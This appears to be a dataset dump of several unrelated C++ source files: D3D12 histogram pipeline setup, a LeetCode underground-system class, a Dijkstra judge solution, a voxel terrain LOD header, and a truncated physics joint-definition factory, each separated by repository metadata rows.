cbvParam(D3D12_SHADER_VISIBILITY_ALL, 0, 0),
// texture SRVs
tableParam(D3D12_SHADER_VISIBILITY_ALL, D3D12_DESCRIPTOR_RANGE_TYPE_SRV, 0, 0, 32),
// samplers
tableParam(D3D12_SHADER_VISIBILITY_ALL, D3D12_DESCRIPTOR_RANGE_TYPE_SAMPLER, 0, 0, 2),
// UAVs
tableParam(D3D12_SHADER_VISIBILITY_ALL, D3D12_DESCRIPTOR_RANGE_TYPE_UAV, 0, 0, 3),
});
RDCASSERT(root);
hr = device->CreateRootSignature(0, root->GetBufferPointer(), root->GetBufferSize(),
__uuidof(ID3D12RootSignature), (void **)&HistogramRootSig);
SAFE_RELEASE(root);
}
{
rdcstr histogramhlsl = GetEmbeddedResource(histogram_hlsl);
D3D12_COMPUTE_PIPELINE_STATE_DESC compPipeDesc = {};
compPipeDesc.pRootSignature = HistogramRootSig;
for(int t = RESTYPE_TEX1D; t <= RESTYPE_TEX2D_MS; t++)
{
// skip unused cube slot
if(t == 8)
continue;
// float, uint, sint
for(int i = 0; i < 3; i++)
{
ID3DBlob *tile = NULL;
ID3DBlob *result = NULL;
ID3DBlob *histogram = NULL;
rdcstr hlsl = rdcstr("#define SHADER_RESTYPE ") + ToStr(t) + "\n";
hlsl += rdcstr("#define SHADER_BASETYPE ") + ToStr(i) + "\n";
hlsl += histogramhlsl;
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_TileMinMaxCS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "cs_5_0", &tile);
compPipeDesc.CS.BytecodeLength = tile->GetBufferSize();
compPipeDesc.CS.pShaderBytecode = tile->GetBufferPointer();
hr = device->CreateComputePipelineState(&compPipeDesc, __uuidof(ID3D12PipelineState),
(void **)&TileMinMaxPipe[t][i]);
if(FAILED(hr))
{
RDCERR("Couldn't create m_TileMinMaxPipe! HRESULT: %s", ToStr(hr).c_str());
}
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_HistogramCS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "cs_5_0", &histogram);
compPipeDesc.CS.BytecodeLength = histogram->GetBufferSize();
compPipeDesc.CS.pShaderBytecode = histogram->GetBufferPointer();
hr = device->CreateComputePipelineState(&compPipeDesc, __uuidof(ID3D12PipelineState),
(void **)&HistogramPipe[t][i]);
if(FAILED(hr))
{
RDCERR("Couldn't create m_HistogramPipe! HRESULT: %s", ToStr(hr).c_str());
}
if(t == 1)
{
shaderCache->GetShaderBlob(hlsl.c_str(), "RENDERDOC_ResultMinMaxCS",
D3DCOMPILE_WARNINGS_ARE_ERRORS, "cs_5_0", &result);
compPipeDesc.CS.BytecodeLength = result->GetBufferSize();
compPipeDesc.CS.pShaderBytecode = result->GetBufferPointer();
hr = device->CreateComputePipelineState(&compPipeDesc, __uuidof(ID3D12PipelineState),
(void **)&ResultMinMaxPipe[i]);
if(FAILED(hr))
{
RDCERR("Couldn't create m_HistogramPipe! HRESULT: %s", ToStr(hr).c_str());
}
}
SAFE_RELEASE(tile);
SAFE_RELEASE(histogram);
SAFE_RELEASE(result);
}
}
}
{
const uint64_t maxTexDim = 16384;
const uint64_t blockPixSize = HGRAM_PIXELS_PER_TILE * HGRAM_TILES_PER_BLOCK;
const uint64_t maxBlocksNeeded = (maxTexDim * maxTexDim) / (blockPixSize * blockPixSize);
D3D12_RESOURCE_DESC minmaxDesc = {};
minmaxDesc.Alignment = 0;
minmaxDesc.DepthOrArraySize = 1;
minmaxDesc.Dimension = D3D12_RESOURCE_DIMENSION_BUFFER;
minmaxDesc.Flags = D3D12_RESOURCE_FLAG_ALLOW_UNORDERED_ACCESS;
minmaxDesc.Format = DXGI_FORMAT_UNKNOWN;
minmaxDesc.Height = 1;
minmaxDesc.Layout = D3D12_TEXTURE_LAYOUT_ROW_MAJOR;
minmaxDesc.MipLevels = 1;
minmaxDesc.SampleDesc.Count = 1;
minmaxDesc.SampleDesc.Quality = 0;
minmaxDesc.Width =
2 * sizeof(Vec4f) * HGRAM_TILES_PER_BLOCK * HGRAM_TILES_PER_BLOCK * maxBlocksNeeded;
D3D12_HEAP_PROPERTIES heapProps;
heapProps.Type = D3D12_HEAP_TYPE_DEFAULT;
heapProps.CPUPageProperty = D3D12_CPU_PAGE_PROPERTY_UNKNOWN;
heapProps.MemoryPoolPreference = D3D12_MEMORY_POOL_UNKNOWN;
heapProps.CreationNodeMask = 1;
heapProps.VisibleNodeMask = 1;
hr = device->CreateCommittedResource(&heapProps, D3D12_HEAP_FLAG_NONE, &minmaxDesc,
D3D12_RESOURCE_STATE_UNORDERED_ACCESS, NULL,
__uuidof(ID3D12Resource), (void **)&MinMaxTileBuffer);
MinMaxTileBuffer->SetName(L"m_MinMaxTileBuffer");
if(FAILED(hr))
{
RDCERR("Failed to create tile buffer for min/max, HRESULT: %s", ToStr(hr).c_str());
return;
}
D3D12_CPU_DESCRIPTOR_HANDLE uav = debug->GetCPUHandle(MINMAX_TILE_UAVS);
D3D12_UNORDERED_ACCESS_VIEW_DESC tileDesc = {};
tileDesc.Format = DXGI_FORMAT_R32G32B32A32_FLOAT;
tileDesc.ViewDimension = D3D12_UAV_DIMENSION_BUFFER;
tileDesc.Buffer.FirstElement = 0;
tileDesc.Buffer.NumElements = UINT(minmaxDesc.Width / sizeof(Vec4f));
device->CreateUnorderedAccessView(MinMaxTileBuffer, NULL, &tileDesc, uav);
uav.ptr += sizeof(D3D12Descriptor);
tileDesc.Format = DXGI_FORMAT_R32G32B32A32_UINT;
device->CreateUnorderedAccessView(MinMaxTileBuffer, NULL, &tileDesc, uav);
uav.ptr += sizeof(D3D12Descriptor);
tileDesc.Format = DXGI_FORMAT_R32G32B32A32_SINT;
device->CreateUnorderedAccessView(MinMaxTileBuffer, NULL, &tileDesc, uav);
uav = debug->GetCPUHandle(HISTOGRAM_UAV);
// re-use the tile buffer for histogram
tileDesc.Format = DXGI_FORMAT_R32_UINT;
tileDesc.Buffer.NumElements = HGRAM_NUM_BUCKETS;
device->CreateUnorderedAccessView(MinMaxTileBuffer, NULL, &tileDesc, uav);
device->CreateUnorderedAccessView(MinMaxTileBuffer, NULL, &tileDesc,
debug->GetUAVClearHandle(HISTOGRAM_UAV));
D3D12_SHADER_RESOURCE_VIEW_DESC srvDesc = {};
srvDesc.ViewDimension = D3D12_SRV_DIMENSION_BUFFER;
srvDesc.Format = DXGI_FORMAT_R32G32B32A32_FLOAT;
srvDesc.Shader4ComponentMapping = D3D12_DEFAULT_SHADER_4_COMPONENT_MAPPING;
srvDesc.Buffer.FirstElement = 0;
srvDesc.Buffer.NumElements = UINT(minmaxDesc.Width / sizeof(Vec4f));
D3D12_CPU_DESCRIPTOR_HANDLE srv = debug->GetCPUHandle(MINMAX_TILE_SRVS);
device->CreateShaderResourceView(MinMaxTileBuffer, &srvDesc, srv);
srv.ptr += sizeof(D3D12Descriptor);
srvDesc.Format = DXGI_FORMAT_R32G32B32A32_UINT;
device->CreateShaderResourceView(MinMaxTileBuffer, &srvDesc, srv);
srv.ptr += sizeof(D3D12Descriptor);
srvDesc.Format = DXGI_FORMAT_R32G32B32A32_SINT;
device->CreateShaderResourceView(MinMaxTileBuffer, &srvDesc, srv);
minmaxDesc.Width = 2 * sizeof(Vec4f);
hr = device->CreateCommittedResource(&heapProps, D3D12_HEAP_FLAG_NONE, &minmaxDesc,
D3D12_RESOURCE_STATE_UNORDERED_ACCESS, NULL,
__uuidof(ID3D12Resource), (void **)&MinMaxResultBuffer);
MinMaxResultBuffer->SetName(L"m_MinMaxResultBuffer");
if(FAILED(hr))
{
RDCERR("Failed to create result buffer for min/max, HRESULT: %s", ToStr(hr).c_str());
return;
}
uav = debug->GetCPUHandle(MINMAX_RESULT_UAVS);
tileDesc.Buffer.NumElements = 2;
tileDesc.Format = DXGI_FORMAT_R32G32B32A32_FLOAT;
device->CreateUnorderedAccessView(MinMaxResultBuffer, NULL, &tileDesc, uav);
uav.ptr += sizeof(D3D12Descriptor);
tileDesc.Format = DXGI_FORMAT_R32G32B32A32_UINT;
device->CreateUnorderedAccessView(MinMaxResultBuffer, NULL, &tileDesc, uav);
uav.ptr += sizeof(D3D12Descriptor);
tileDesc.Format = DXGI_FORMAT_R32G32B32A32_SINT;
device->CreateUnorderedAccessView(MinMaxResultBuffer, NULL, &tileDesc, uav);
}
shaderCache->SetCaching(false);
}
void D3D12Replay::HistogramMinMax::Release()
{
SAFE_RELEASE(HistogramRootSig);
for(int t = RESTYPE_TEX1D; t <= RESTYPE_TEX2D_MS; t++)
{
for(int i = 0; i < 3; i++)
{
SAFE_RELEASE(TileMinMaxPipe[t][i]);
SAFE_RELEASE(HistogramPipe[t][i]);
if(t == RESTYPE_TEX1D)
SAFE_RELEASE(ResultMinMaxPipe[i]);
}
}
SAFE_RELEASE(MinMaxResultBuffer);
SAFE_RELEASE(MinMaxTileBuffer);
}
void MoveRootSignatureElementsToRegisterSpace(D3D12RootSignature &sig, uint32_t registerSpace,
D3D12DescriptorType type,
D3D12_SHADER_VISIBILITY visibility)
{
// This function is used when root signature elements need to be added to a specific register
// space, such as for debug overlays. We can't remove elements from the root signature entirely
// because then then the root signature indices wouldn't match up as expected. Instead move them
// into the specified register space so that another register space (commonly space0) can be used
// for other purposes.
size_t numParams = sig.Parameters.size();
for(size_t i = 0; i < numParams; i++)
{
if(sig.Parameters[i].ShaderVisibility == visibility ||
sig.Parameters[i].ShaderVisibility == D3D12_SHADER_VISIBILITY_ALL)
{
D3D12_ROOT_PARAMETER_TYPE rootType = sig.Parameters[i].ParameterType;
if(rootType == D3D12_ROOT_PARAMETER_TYPE_DESCRIPTOR_TABLE)
{
size_t numRanges = sig.Parameters[i].ranges.size();
for(size_t r = 0; r < numRanges; r++)
{
D3D12_DESCRIPTOR_RANGE_TYPE rangeType = sig.Parameters[i].ranges[r].RangeType;
if(rangeType == D3D12_DESCRIPTOR_RANGE_TYPE_CBV && type == D3D12DescriptorType::CBV)
{
sig.Parameters[i].ranges[r].RegisterSpace = registerSpace;
}
else if(rangeType == D3D12_DESCRIPTOR_RANGE_TYPE_SRV && type == D3D12DescriptorType::SRV)
{
sig.Parameters[i].ranges[r].RegisterSpace = registerSpace;
}
else if(rangeType == D3D12_DESCRIPTOR_RANGE_TYPE_UAV && type == D3D12DescriptorType::UAV)
{
sig.Parameters[i].ranges[r].RegisterSpace = registerSpace;
}
}
}
else if(rootType == D3D12_ROOT_PARAMETER_TYPE_CBV && type == D3D12DescriptorType::CBV)
{
sig.Parameters[i].Descriptor.RegisterSpace = registerSpace;
}
else if(rootType == D3D12_ROOT_PARAMETER_TYPE_SRV && type == D3D12DescriptorType::SRV)
{
sig.Parameters[i].Descriptor.RegisterSpace = registerSpace;
}
else if(rootType == D3D12_ROOT_PARAMETER_TYPE_UAV && type == D3D12DescriptorType::UAV)
{
sig.Parameters[i].Descriptor.RegisterSpace = registerSpace;
}
}
}
}
void AddDebugDescriptorsToRenderState(WrappedID3D12Device *pDevice, D3D12RenderState &rs,
const rdcarray<PortableHandle> &handles,
D3D12_DESCRIPTOR_HEAP_TYPE heapType, uint32_t sigElem,
std::set<ResourceId> &copiedHeaps)
{
if(rs.graphics.sigelems.size() <= sigElem)
rs.graphics.sigelems.resize(sigElem + 1);
PortableHandle newHandle = handles[0];
// If a CBV_SRV_UAV heap is already set and hasn't had a debug descriptor copied in,
// copy the desired descriptor in and add the heap to the set of heaps that have had
// a debug descriptor set. If there's no available heapOtherwise we can set our own heap.
// It is the responsibility of the caller to keep track of the set of copied heaps to
// avoid overwriting another debug descriptor that may be needed.
for(size_t i = 0; i < rs.heaps.size(); i++)
{
WrappedID3D12DescriptorHeap *h =
pDevice->GetResourceManager()->GetCurrentAs<WrappedID3D12DescriptorHeap>(rs.heaps[i]);
if(h->GetDesc().Type == heapType)
{
// use the last descriptors
D3D12_CPU_DESCRIPTOR_HANDLE dst = h->GetCPUDescriptorHandleForHeapStart();
dst.ptr += (h->GetDesc().NumDescriptors - handles.size()) * sizeof(D3D12Descriptor);
newHandle = ToPortableHandle(dst);
if(copiedHeaps.find(rs.heaps[i]) == copiedHeaps.end())
{
for(size_t j = 0; j < handles.size(); ++j)
{
WrappedID3D12DescriptorHeap *h2 =
pDevice->GetResourceManager()->GetCurrentAs<WrappedID3D12DescriptorHeap>(
handles[j].heap);
D3D12_CPU_DESCRIPTOR_HANDLE src = h2->GetCPUDescriptorHandleForHeapStart();
src.ptr += handles[j].index * sizeof(D3D12Descriptor);
// can't do a copy because the src heap is CPU write-only (shader visible). So instead,
// create directly
D3D12Descriptor *srcDesc = (D3D12Descriptor *)src.ptr;
srcDesc->Create(heapType, pDevice, dst);
dst.ptr += sizeof(D3D12Descriptor);
}
copiedHeaps.insert(rs.heaps[i]);
}
break;
}
}
if(newHandle.heap == handles[0].heap)
rs.heaps.push_back(handles[0].heap);
rs.graphics.sigelems[sigElem] =
D3D12RenderState::SignatureElement(eRootTable, newHandle.heap, newHandle.index);
}
| [
"[email protected]"
] | |
e8c36c5722d55f2e9bf30de78180d646ed0e3fe1 | dc29fc2a9a48ac9e90bdc2405c33c83318a0722a | /map_UndergroundSystem.cpp | 9c9c9f5c06b29421971ee1f5cf0344ba8a5e85a8 | [] | no_license | jennyc2004/leetcode | 8a1b065159399e2199453bdde42ad9a6528c70d5 | f188d4e85eec6be1068c0aef763b16a12316de0e | refs/heads/main | 2023-06-05T14:35:33.323544 | 2021-06-24T02:56:56 | 2021-06-24T02:56:56 | 359,001,553 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,984 | cpp | //============================================================================
// Name : map_UndergroundSystem.cpp
// Author : Jenny Cheng
// Copyright : Your copyright notice
//============================================================================
using namespace std;
#include <iostream>
#include <unordered_map>
class UndergroundSystem {
private:
unordered_map<int, pair<string, int> > checkinMap;//id, start station and checkin time
unordered_map<string, pair<int, int> > checkOutMap;//start+end station, total duration time, total counts
public:
UndergroundSystem() {}
void checkIn(int id, string stationName, int t) {
checkinMap[id] = {stationName, t};
}
void checkOut(int id, string stationName, int t) {
string checkinStation = checkinMap[id].first;
int duration = checkOutMap[checkinStation+"-"+stationName].first + t - checkinMap[id].second;
int count = checkOutMap[checkinStation+"-"+stationName].second + 1;
checkOutMap[checkinStation+"-"+stationName] = {duration, count};
}
double getAverageTime(string startStation, string endStation) {
string temp = startStation + "-" + endStation;
return (double)checkOutMap[temp].first/checkOutMap[temp].second;
}
};
int main()
{
UndergroundSystem undergroundSystem;
undergroundSystem.checkIn(45, "Leyton", 3);
undergroundSystem.checkIn(32, "Paradise", 8);
undergroundSystem.checkIn(27, "Leyton", 10);
undergroundSystem.checkOut(45, "Waterloo", 15);
undergroundSystem.checkOut(27, "Waterloo", 20);
undergroundSystem.checkOut(32, "Cambridge", 22);
cout<<undergroundSystem.getAverageTime("Paradise", "Cambridge")<<endl;
cout<<undergroundSystem.getAverageTime("Leyton", "Waterloo")<<endl;
undergroundSystem.checkIn(10, "Leyton", 24);
cout<<undergroundSystem.getAverageTime("Leyton", "Waterloo")<<endl;
undergroundSystem.checkOut(10, "Waterloo", 38);
cout<<undergroundSystem.getAverageTime("Leyton", "Waterloo")<<endl;
return 0;
}
| [
"[email protected]"
] | |
bcc548b85839a855840c13c161548db26121a536 | 67a46851a67f0a93d7312c5a9a89c942e37b73eb | /algorithm/HDU-ACM/ambition0109/25445.cpp | e54ca5a8a5a217df0b1bd370b07e5cdd5a9d3bca | [] | no_license | zhangwj0101/codestudy | e8c0a0c55b0ee556c217dc58273711a18e4194c9 | 06ce3bb9f9d9f977e0e4dc7687c561ab74f1980b | refs/heads/master | 2021-01-15T09:28:32.054331 | 2016-09-17T11:11:06 | 2016-09-17T11:11:06 | 44,471,951 | 0 | 0 | null | null | null | null | ISO-8859-7 | C++ | false | false | 1,917 | cpp | ////////////////////System Comment////////////////////
////Welcome to Hangzhou Dianzi University Online Judge
////http://acm.hdu.edu.cn
//////////////////////////////////////////////////////
////Username: ambition0109
////Nickname: Ambition
////Run ID:
////Submit time: 2010-08-06 15:34:08
////Compiler: Visual C++
//////////////////////////////////////////////////////
////Problem ID: 2544
////Problem Title:
////Run result: Accept
////Run time:15MS
////Run memory:296KB
//////////////////System Comment End//////////////////
#include<cstdio>
#include<vector>
#include<queue>
using namespace std;
const int MAXN=105; //΅γΈφΚύ
const int INF=0x7fffffff;
struct C{
unsigned City;
int Cost;
void set(int nCity,int nCost){
City=nCity;Cost=nCost;
}
};
struct Q{
unsigned City;
int Cost;
void set(int nCity,int nCost){
City=nCity;Cost=nCost;
}
};
struct CMP{
bool operator() (const Q& a,const Q& b){
return a.Cost>b.Cost;
}
};
vector<vector<C> > Graph;
int n;
int Dijkstra(int START,int END)
{
priority_queue<Q,vector<Q>,CMP> QUE;
vector<int> Path(MAXN,INF);
Path[START]=0;
Q temp;
temp.set(START,0);
QUE.push(temp);
while(!QUE.empty())
{
int Ups=QUE.top().City;
if(Ups==END) return QUE.top().Cost;
QUE.pop();
for(unsigned i=0;i<Graph[Ups].size();i++){
int tCity=Graph[Ups][i].City;
int tCost=Graph[Ups][i].Cost;
if(tCost+Path[Ups]<Path[tCity]){
Path[tCity]=tCost+Path[Ups];
temp.set(tCity,Path[tCity]);
QUE.push(temp);
}
}
}
return -1;
}
int main()
{
int m;
while(scanf("%d%d",&n,&m),n||m){
Graph.clear();
Graph.resize(n+1);
for(int i=0;i<m;i++){
int c1,c2,cost;
scanf("%d%d%d",&c1,&c2,&cost);
C temp;
temp.set(c2,cost);
Graph[c1].push_back(temp);
temp.set(c1,cost);
Graph[c2].push_back(temp);
}
printf("%d\n",Dijkstra(1,n));
}
} | [
"[email protected]"
] | |
762065ebbacb25cbe055fdfccfaebfeba42fb91c | 1c884356855de0ba26aae60b39ae1229afa2660f | /terrain/variable_lod/voxel_lod_terrain_update_data.h | 77e4b0a823d82e991e88d5efe4eacc86961b7388 | [
"MIT"
] | permissive | track3rsp/godot_voxel | 53ed50028d3b9789d52bd922fc356f7337938b7b | c10c273fe5d4722edc15d6dd29242f3bf707680b | refs/heads/master | 2022-07-27T12:02:21.279381 | 2022-06-29T00:30:14 | 2022-06-29T00:30:14 | 131,823,328 | 0 | 0 | null | 2018-05-02T08:45:50 | 2018-05-02T08:45:49 | null | UTF-8 | C++ | false | false | 6,496 | h | #ifndef VOXEL_LOD_TERRAIN_UPDATE_DATA_H
#define VOXEL_LOD_TERRAIN_UPDATE_DATA_H
#include "../../constants/voxel_constants.h"
#include "../../generators/voxel_generator.h"
#include "../../storage/voxel_data_map.h"
#include "../../streams/voxel_stream.h"
#include "../../util/fixed_array.h"
#include "../voxel_mesh_map.h"
#include "lod_octree.h"
#include <map>
#include <unordered_set>
namespace zylann {
class AsyncDependencyTracker;
namespace voxel {
// Settings and states needed for the multi-threaded part of the update loop of VoxelLodTerrain.
// See `VoxelLodTerrainUpdateTask` for more info.
struct VoxelLodTerrainUpdateData {
struct OctreeItem {
LodOctree octree;
};
struct TransitionUpdate {
Vector3i block_position;
uint8_t transition_mask;
};
struct BlockLocation {
Vector3i position;
uint8_t lod;
};
struct BlockToSave {
std::shared_ptr<VoxelBufferInternal> voxels;
Vector3i position;
uint8_t lod;
};
// These values don't change during the update task.
struct Settings {
// Area within which voxels can exist.
// Note, these bounds might not be exactly represented. This volume is chunk-based, so the result will be
// approximated to the closest chunk.
Box3i bounds_in_voxels;
unsigned int lod_count = 0;
// Distance between a viewer and the end of LOD0
float lod_distance = 0.f;
unsigned int view_distance_voxels = 512;
bool full_load_mode = false;
bool run_stream_in_editor = true;
unsigned int mesh_block_size_po2 = 4;
// If true, try to generate blocks and store them in the data map before posting mesh requests.
// If false, everything will generate non-edited voxels on the fly instead.
// Not really exposed for now, will wait for it to be really needed. It might never be.
bool cache_generated_blocks = false;
};
enum MeshState {
MESH_NEVER_UPDATED = 0, // TODO Redundant with MESH_NEED_UPDATE?
MESH_UP_TO_DATE,
MESH_NEED_UPDATE, // The mesh is out of date but was not yet scheduled for update
MESH_UPDATE_NOT_SENT, // The mesh is out of date and was scheduled for update, but no request have been sent
// yet
MESH_UPDATE_SENT // The mesh is out of date, and an update request was sent, pending response
};
struct MeshBlockState {
std::atomic<MeshState> state;
uint8_t transition_mask;
bool active;
bool pending_transition_update;
MeshBlockState() :
state(MESH_NEVER_UPDATED), transition_mask(0), active(false), pending_transition_update(false) {}
};
// Version of the mesh map designed to be mainly used for the threaded update task.
// It contains states used to determine when to actually load/unload meshes.
struct MeshMapState {
// Values in this map are expected to have stable addresses.
std::unordered_map<Vector3i, MeshBlockState> map;
// Locked for writing when blocks get inserted or removed from the map.
// If you need to lock more than one Lod, always do so in increasing order, to avoid deadlocks.
// IMPORTANT:
// - The update task will add and remove blocks from this map.
// - Threads outside the update task must never add or remove blocks to the map (even with locking),
// unless the task is not running in parallel.
RWLock map_lock;
};
// Each LOD works in a set of coordinates spanning 2x more voxels the higher their index is
struct Lod {
// Keeping track of asynchronously loading blocks so we don't try to redundantly load them
std::unordered_set<Vector3i> loading_blocks;
BinaryMutex loading_blocks_mutex;
// These are relative to this LOD, in block coordinates
Vector3i last_viewer_data_block_pos;
int last_view_distance_data_blocks = 0;
MeshMapState mesh_map_state;
std::vector<Vector3i> blocks_pending_update;
Vector3i last_viewer_mesh_block_pos;
int last_view_distance_mesh_blocks = 0;
// Deferred outputs to main thread
std::vector<Vector3i> mesh_blocks_to_unload;
std::vector<TransitionUpdate> mesh_blocks_to_update_transitions;
std::vector<Vector3i> mesh_blocks_to_activate;
std::vector<Vector3i> mesh_blocks_to_deactivate;
inline bool has_loading_block(const Vector3i &pos) const {
return loading_blocks.find(pos) != loading_blocks.end();
}
};
struct AsyncEdit {
IThreadedTask *task;
Box3i box;
std::shared_ptr<AsyncDependencyTracker> task_tracker;
};
struct RunningAsyncEdit {
std::shared_ptr<AsyncDependencyTracker> tracker;
Box3i box;
};
struct Stats {
uint32_t blocked_lods = 0;
uint32_t time_detect_required_blocks = 0;
uint32_t time_io_requests = 0;
uint32_t time_mesh_requests = 0;
uint32_t time_total = 0;
};
// Data modified by the update task
struct State {
// This terrain type is a sparse grid of octrees.
// Indexed by a grid coordinate whose step is the size of the highest-LOD block.
// Not using a pointer because Map storage is stable.
// TODO Optimization: could be replaced with a grid data structure
std::map<Vector3i, OctreeItem> lod_octrees;
Box3i last_octree_region_box;
Vector3i local_viewer_pos_previous_octree_update;
bool had_blocked_octree_nodes_previous_update = false;
bool force_update_octrees_next_update = false;
FixedArray<Lod, constants::MAX_LOD> lods;
// This is the entry point for notifying data changes, which will cause mesh updates.
// Contains blocks that were edited and need their LOD counterparts to be updated.
// Scheduling is only done at LOD0 because it is the only editable LOD.
std::vector<Vector3i> blocks_pending_lodding_lod0;
BinaryMutex blocks_pending_lodding_lod0_mutex;
std::vector<AsyncEdit> pending_async_edits;
BinaryMutex pending_async_edits_mutex;
std::vector<RunningAsyncEdit> running_async_edits;
// Areas where generated stuff has changed. Similar to an edit, but non-destructive.
std::vector<Box3i> changed_generated_areas;
BinaryMutex changed_generated_areas_mutex;
Stats stats;
};
// Set to true when the update task is finished
std::atomic_bool task_is_complete;
// Will be locked as long as the update task is running.
BinaryMutex completion_mutex;
Settings settings;
State state;
// After this call, no locking is necessary, as no other thread should be using the data.
// However it can stall for longer, so prefer using it when doing structural changes, such as changing LOD count,
// LOD distances, or the way the update logic runs.
void wait_for_end_of_task() {
MutexLock lock(completion_mutex);
}
};
} // namespace voxel
} // namespace zylann
#endif // VOXEL_LOD_TERRAIN_UPDATE_DATA_H
| [
"[email protected]"
] | |
8fa5568f5e1ec86b13a0db1a8c193500eccfacdd | 4207d276f0edafed1197d919beeaf36a5bf0cb98 | /Source/Physics/JointDef.cpp | 0287e27abbaaadafc0953cc6e8acf33f48fd970b | [
"MIT"
] | permissive | zyz120/Dorothy-SSR | b742083d92b1971110f30991dfdd230933f89b39 | d5c417ba27d676fc6bcb475ee44c30e4aa8d856c | refs/heads/master | 2021-01-19T14:43:03.421461 | 2017-04-13T08:26:12 | 2017-04-13T08:26:12 | 86,802,145 | 1 | 0 | null | 2017-03-31T09:27:03 | 2017-03-31T09:27:03 | null | UTF-8 | C++ | false | false | 9,194 | cpp | /* Copyright (c) 2017 Jin Li, http://www.luvfight.me
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
#include "Const/Header.h"
#include "Physics/JointDef.h"
#include "Physics/Joint.h"
#include "Physics/Body.h"
#include "Support/Dictionary.h"
NS_DOROTHY_BEGIN
JointDef::JointDef(): angle(0) { }
JointDef* JointDef::distance(
bool collision,
String bodyA,
String bodyB,
const Vec2& anchorA,
const Vec2& anchorB,
float frequency,
float damping)
{
DistanceDef* def = new DistanceDef();
def->collision = collision;
def->bodyA = bodyA;
def->bodyB = bodyB;
def->anchorA = anchorA;
def->anchorB = anchorB;
def->frequency = frequency;
def->damping = damping;
def->autorelease();
return def;
}
JointDef* JointDef::friction(
bool collision,
String bodyA,
String bodyB,
const Vec2& worldPos,
float maxForce,
float maxTorque)
{
FrictionDef* def = new FrictionDef();
def->collision = collision;
def->bodyA = bodyA;
def->bodyB = bodyB;
def->worldPos = worldPos;
def->maxForce = maxForce;
def->maxTorque = maxTorque;
def->autorelease();
return def;
}
JointDef* JointDef::gear(
bool collision,
String jointA,
String jointB,
float ratio)
{
GearDef* def = new GearDef();
def->collision = collision;
def->jointA = jointA;
def->jointB = jointB;
def->ratio = ratio;
def->autorelease();
return def;
}
JointDef* JointDef::spring(
bool collision,
String bodyA,
String bodyB,
const Vec2& linearOffset,
float angularOffset,
float maxForce,
float maxTorque,
float correctionFactor)
{
SpringDef* def = new SpringDef();
def->collision = collision;
def->bodyA = bodyA;
def->bodyB = bodyB;
def->linearOffset = linearOffset;
def->angularOffset = angularOffset;
def->maxForce = maxForce;
def->maxTorque = maxTorque;
def->correctionFactor = correctionFactor;
def->autorelease();
return def;
}
JointDef* JointDef::prismatic(
bool collision,
String bodyA,
String bodyB,
const Vec2& worldPos,
const Vec2& axis,
float lowerTranslation,
float upperTranslation,
float maxMotorForce,
float motorSpeed)
{
PrismaticDef* def = new PrismaticDef();
def->collision = collision;
def->bodyA = bodyA;
def->bodyB = bodyB;
def->worldPos = worldPos;
def->axis = axis;
def->lowerTranslation = lowerTranslation;
def->upperTranslation = upperTranslation;
def->maxMotorForce = maxMotorForce;
def->motorSpeed = motorSpeed;
def->autorelease();
return def;
}
JointDef* JointDef::pulley(
bool collision,
String bodyA,
String bodyB,
const Vec2& anchorA,
const Vec2& anchorB,
const Vec2& groundAnchorA,
const Vec2& groundAnchorB,
float ratio)
{
PulleyDef* def = new PulleyDef();
def->collision = collision;
def->bodyA = bodyA;
def->bodyB = bodyB;
def->anchorA = anchorA;
def->anchorB = anchorB;
def->groundAnchorA = groundAnchorA;
def->groundAnchorB = groundAnchorB;
def->ratio = ratio;
def->autorelease();
return def;
}
JointDef* JointDef::revolute(
bool collision,
String bodyA,
String bodyB,
const Vec2& worldPos,
float lowerAngle,
float upperAngle,
float maxMotorTorque,
float motorSpeed)
{
RevoluteDef* def = new RevoluteDef();
def->collision = collision;
def->bodyA = bodyA;
def->bodyB = bodyB;
def->worldPos = worldPos;
def->lowerAngle = lowerAngle;
def->upperAngle = upperAngle;
def->maxMotorTorque = maxMotorTorque;
def->motorSpeed = motorSpeed;
def->autorelease();
return def;
}
JointDef* JointDef::rope(
bool collision,
String bodyA,
String bodyB,
const Vec2& anchorA,
const Vec2& anchorB,
float maxLength)
{
RopeDef* def = new RopeDef();
def->collision = collision;
def->bodyA = bodyA;
def->bodyB = bodyB;
def->anchorA = anchorA;
def->anchorB = anchorB;
def->maxLength = maxLength;
def->autorelease();
return def;
}
JointDef* JointDef::weld(
bool collision,
String bodyA,
String bodyB,
const Vec2& worldPos,
float frequency,
float damping)
{
WeldDef* def = new WeldDef();
def->collision = collision;
def->bodyA = bodyA;
def->bodyB = bodyB;
def->worldPos = worldPos;
def->frequency = frequency;
def->damping = damping;
def->autorelease();
return def;
}
JointDef* JointDef::wheel(
bool collision,
String bodyA,
String bodyB,
const Vec2& worldPos,
const Vec2& axis,
float maxMotorTorque,
float motorSpeed,
float frequency,
float damping)
{
WheelDef* def = new WheelDef();
def->collision = collision;
def->bodyA = bodyA;
def->bodyB = bodyB;
def->worldPos = worldPos;
def->axis = axis;
def->maxMotorTorque = maxMotorTorque;
def->motorSpeed = motorSpeed;
def->frequency = frequency;
def->damping = damping;
def->autorelease();
return def;
}
Vec2 JointDef::r(const Vec2& target)
{
if (angle)
{
float realAngle = -bx::toRad(angle) + std::atan2(target.y, target.x);
float length = target.length();
return Vec2{length * std::cos(realAngle), length * std::sin(realAngle)};
}
return target;
}
Vec2 JointDef::t(const Vec2& target)
{
Vec2 pos = target - center;
return r(pos) + position;
}
Joint* DistanceDef::toJoint(Dictionary* itemDict)
{
